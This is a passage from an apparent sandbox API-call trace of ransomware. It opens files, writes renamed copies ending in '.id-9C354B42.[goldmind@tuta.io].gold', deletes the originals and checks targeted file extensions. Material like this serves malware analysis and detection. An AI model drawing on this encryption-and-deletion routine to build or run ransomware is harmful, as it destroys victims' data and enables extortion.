Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0043.948] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=11861) returned 1 [0043.948] CloseHandle (hObject=0x178) returned 1 [0043.948] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png")) returned 0x20 [0043.948] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0043.948] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.948] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned 77 [0043.948] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned 77 [0043.948] lstrlenW (lpString=".doc") returned 4 [0043.948] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0043.948] lstrlenW (lpString=".docx") returned 5 [0043.948] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0043.948] lstrlenW (lpString=".pdf") returned 4 [0043.948] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0043.948] lstrlenW (lpString=".xls") returned 4 [0043.948] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0043.948] lstrlenW (lpString=".xlsx") returned 5 [0043.948] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0043.948] lstrlenW (lpString=".ppt") returned 4 [0043.948] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0043.948] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned 77 [0043.948] lstrlenW (lpString=".zip") returned 4 [0043.948] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0043.949] lstrlenW (lpString=".rar") returned 4 [0043.949] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0043.949] lstrlenW (lpString=".bz2") returned 4 [0043.949] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0043.949] lstrlenW (lpString=".7z") returned 3 [0043.949] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0043.949] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned 77 [0043.949] lstrlenW (lpString=".dbf") returned 4 [0043.949] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0046.516] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.516] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0046.517] GetLastError () returned 0x0 [0046.517] ReadFile (in: hFile=0x1b0, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x78e4, lpOverlapped=0x0) returned 1 [0046.518] WriteFile (in: hFile=0x1e8, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x78f0, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x78f0, lpOverlapped=0x0) returned 1 [0046.519] ReadFile (in: hFile=0x1b0, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.519] WriteFile (in: hFile=0x1e8, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0046.519] SetEndOfFile (hFile=0x1e8) returned 1 [0046.519] CloseHandle (hObject=0x1e8) returned 1 [0046.520] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.520] SetEndOfFile (hFile=0x1b0) returned 1 [0046.520] CloseHandle (hObject=0x1b0) returned 1 [0046.520] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0046.521] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl")) returned 1 [0046.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0046.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0046.521] lstrlenW (lpString=".doc") returned 4 [0046.521] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0046.521] lstrlenW (lpString=".docx") returned 5 [0046.521] lstrcmpiW (lpString1=".docx", lpString2="x.xsl") returned -1 [0046.521] lstrlenW (lpString=".pdf") returned 4 [0046.521] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0046.521] lstrlenW (lpString=".xls") returned 4 [0046.521] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0046.521] lstrlenW (lpString=".xlsx") returned 5 [0046.521] lstrcmpiW (lpString1=".xlsx", lpString2="x.xsl") returned -1 [0046.521] lstrlenW (lpString=".ppt") returned 4 [0046.521] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0046.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0046.521] lstrlenW (lpString=".zip") returned 4 [0046.521] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0046.521] lstrlenW (lpString=".rar") returned 4 [0046.521] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0046.521] lstrlenW (lpString=".bz2") returned 4 [0046.521] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0046.521] lstrlenW (lpString=".7z") returned 3 [0046.521] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0046.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0046.521] lstrlenW (lpString=".dbf") returned 4 [0046.521] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0046.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0046.522] lstrlenW (lpString=".1cd") returned 4 [0046.522] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0046.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0046.522] lstrlenW (lpString=".jpg") returned 4 [0046.522] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0046.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0046.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0046.522] lstrlenW (lpString=".doc") returned 4 [0046.522] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0046.522] lstrlenW (lpString=".docx") returned 5 [0046.522] lstrcmpiW (lpString1=".docx", lpString2="x.xsl") returned -1 [0046.522] lstrlenW (lpString=".pdf") returned 4 [0046.522] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0046.522] lstrlenW (lpString=".xls") returned 4 [0046.522] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0046.522] lstrlenW (lpString=".xlsx") returned 5 [0046.522] lstrcmpiW (lpString1=".xlsx", lpString2="x.xsl") returned -1 [0046.522] lstrlenW (lpString=".ppt") returned 4 [0046.522] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0046.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0046.522] lstrlenW (lpString=".zip") returned 4 [0046.522] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0046.522] lstrlenW (lpString=".rar") returned 4 [0046.522] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0046.522] lstrlenW (lpString=".bz2") returned 4 [0046.522] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0046.522] lstrlenW (lpString=".7z") returned 3 [0046.522] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0046.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0046.522] lstrlenW (lpString=".dbf") returned 4 [0046.522] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0046.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0046.522] lstrlenW (lpString=".1cd") returned 4 [0046.522] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0046.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0046.522] lstrlenW (lpString=".jpg") returned 4 [0046.522] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0046.522] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0046.522] lstrlenW (lpString="AG00038_.GIF") returned 12 [0046.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0047.961] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=3251) returned 1 [0047.967] CloseHandle (hObject=0x170) returned 1 [0047.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif")) returned 0x20 [0047.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0047.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0047.981] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.987] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0047.998] GetLastError () returned 0x0 [0047.998] ReadFile (in: hFile=0x170, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0xcb3, lpOverlapped=0x0) returned 1 [0047.999] WriteFile (in: hFile=0x218, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xcc0, lpOverlapped=0x0) returned 1 [0048.000] ReadFile (in: hFile=0x170, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.000] WriteFile (in: hFile=0x218, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.000] SetEndOfFile (hFile=0x218) returned 1 [0048.000] CloseHandle (hObject=0x218) returned 1 [0048.000] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.000] SetEndOfFile (hFile=0x170) returned 1 [0048.001] CloseHandle (hObject=0x170) returned 1 [0048.001] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0048.001] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif")) returned 1 [0048.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0048.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0048.001] lstrlenW (lpString=".doc") returned 4 [0048.001] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.001] lstrlenW (lpString=".docx") returned 5 [0048.001] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0048.001] lstrlenW (lpString=".pdf") returned 4 [0048.001] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.002] lstrlenW (lpString=".xls") returned 4 [0048.002] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.002] lstrlenW (lpString=".xlsx") returned 5 [0048.002] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0048.002] lstrlenW (lpString=".ppt") returned 4 [0048.002] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0048.002] lstrlenW (lpString=".zip") returned 4 [0048.002] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.002] lstrlenW (lpString=".rar") returned 4 [0048.002] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.002] lstrlenW (lpString=".bz2") returned 4 [0048.002] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.002] lstrlenW (lpString=".7z") returned 3 [0048.002] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0048.002] lstrlenW (lpString=".dbf") returned 4 [0048.002] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0048.002] lstrlenW (lpString=".1cd") returned 4 [0048.002] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0048.002] lstrlenW (lpString=".jpg") returned 4 [0048.002] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0048.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0048.002] lstrlenW (lpString=".doc") returned 4 [0048.002] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.002] lstrlenW (lpString=".docx") returned 5 [0048.002] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0048.002] lstrlenW (lpString=".pdf") returned 4 [0048.002] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.002] lstrlenW (lpString=".xls") returned 4 [0048.002] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.002] lstrlenW (lpString=".xlsx") returned 5 [0048.002] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0048.002] lstrlenW (lpString=".ppt") returned 4 [0048.002] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0048.002] lstrlenW (lpString=".zip") returned 4 [0048.002] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.002] lstrlenW (lpString=".rar") returned 4 [0048.002] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.002] lstrlenW (lpString=".bz2") returned 4 [0048.002] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.002] lstrlenW (lpString=".7z") returned 3 [0048.002] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0048.002] lstrlenW (lpString=".dbf") returned 4 [0048.002] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0048.002] lstrlenW (lpString=".1cd") returned 4 [0048.003] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0048.003] lstrlenW (lpString=".jpg") returned 4 [0048.003] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.003] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0048.003] lstrlenW (lpString="AG00171_.GIF") returned 12 [0048.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0048.003] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=5016) returned 1 [0048.003] CloseHandle (hObject=0x170) returned 1 [0048.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif")) returned 0x20 [0048.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0048.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0048.003] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.003] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0048.004] GetLastError () returned 0x0 [0048.004] ReadFile (in: hFile=0x170, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x1398, lpOverlapped=0x0) returned 1 [0048.005] WriteFile (in: hFile=0x218, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x13a0, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x13a0, lpOverlapped=0x0) returned 1 [0048.006] ReadFile (in: hFile=0x170, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.006] WriteFile (in: hFile=0x218, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.006] SetEndOfFile (hFile=0x218) returned 1 [0048.006] CloseHandle (hObject=0x218) returned 1 [0048.006] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.007] SetEndOfFile (hFile=0x170) returned 1 [0048.007] CloseHandle (hObject=0x170) returned 1 [0048.007] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0048.007] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif")) returned 1 [0048.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0048.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0048.008] lstrlenW (lpString=".doc") returned 4 [0048.008] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.008] lstrlenW (lpString=".docx") returned 5 [0048.008] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0048.008] lstrlenW (lpString=".pdf") returned 4 [0048.008] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.008] lstrlenW (lpString=".xls") returned 4 [0048.008] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.008] lstrlenW (lpString=".xlsx") returned 5 [0048.008] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0048.008] lstrlenW (lpString=".ppt") returned 4 [0048.008] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0048.008] lstrlenW (lpString=".zip") returned 4 [0048.008] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.008] lstrlenW (lpString=".rar") returned 4 [0048.008] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.008] lstrlenW (lpString=".bz2") returned 4 [0048.008] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.008] lstrlenW (lpString=".7z") returned 3 [0048.008] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0048.008] lstrlenW (lpString=".dbf") returned 4 [0048.008] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0048.008] lstrlenW (lpString=".1cd") returned 4 [0048.008] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0048.008] lstrlenW (lpString=".jpg") returned 4 [0048.008] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0048.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0048.008] lstrlenW (lpString=".doc") returned 4 [0048.008] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.008] lstrlenW (lpString=".docx") returned 5 [0048.008] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0048.008] lstrlenW (lpString=".pdf") returned 4 [0048.008] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.008] lstrlenW (lpString=".xls") returned 4 [0048.008] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.008] lstrlenW (lpString=".xlsx") returned 5 [0048.008] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0048.008] lstrlenW (lpString=".ppt") returned 4 [0048.008] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0048.009] lstrlenW (lpString=".zip") returned 4 [0048.009] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 